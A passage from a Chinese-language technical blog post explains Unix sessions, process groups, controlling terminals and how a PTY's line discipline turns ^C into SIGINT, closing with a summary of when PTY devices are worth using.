会话是若干进程的集合,系统中每个进程也必须从属于某一个会话,一个会话最多只有一个控制终端,该终端为会话中所有进程组中的进程共有,而一个会话只会有一个前台进程组,只有前台进程组中的进程才可以和控制终端进行交互。每个会话会有一个 Leader,即创建会话的进程(通过系统调用 setsid()可以创建会话,但为了确保进程组的所有成员属于同一个会话,只有非进程组组长的进程可以创建会话,原因可以查阅参考 12)。由此,会话、进程组、进程产生了一个树状的结构,会话用于共享对应的控制终端输入输出,进程组用于共享发送到进程的信号。当用户在某个终端上登录,就启动了一个新的会话,终端上的所有输入与信号会发送给会话前台进程组中的所有进程,而终端断开的时候,系统就会发送 SIGHUP 到会话的控制进程。

进程组与会话的概念为我们在终端上实现任务控制提供了更灵活的机制,我们能够在不同的进程之间随时进行切换,不必受制于运行中的进程。会话的控制通过信号进行,将外设的输入翻译为信号,也正是上述提及的 Line Discipline 的工作。我们都已经习惯了在 SSH 中按下^C,意味着向当前的前台进程发送 SIGINT 信号,实际上,我们本地的 SSH 只是捕捉到了 ^C 字符,在经过 PTY 的 Line Discipline 的时候被翻译成 SIGINT 信号,并通过操作系统将该信号发送给绑定 PTY Slave 设备为控制终端的前台进程组组长(前台进程组的身份是 shell 告诉内核的),进而终止前台进程的执行。^Z等控制命令具有相似的过程。一个更翔实的例子可以查看参考 5 中的第 6 节,或者是其英文原版参考 6 中的对应节。

总结

总的来说,PTY 设备沿承自 TTY 设备,作为 TTY 设备的一个模拟实现,为我们实现简单的控制终端提供了方便的交互和控制接口。它作为一个外设和进程之间的中间层,在进程之外提供提供可配置的输入和信号复用,使得用户在通过单一接口操作计算机时的灵活性大大提高。不过一般来说,如果不是需要进行远程的基于字符的作业控制,其实是用不太上 PTY 这样的设备的,简单的进程通讯可以直接使用管道或其他 IPC 工具来实现,在简单的消息传递上面用 PTY 未免有点杀鸡用牛刀的意味了。


via:

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值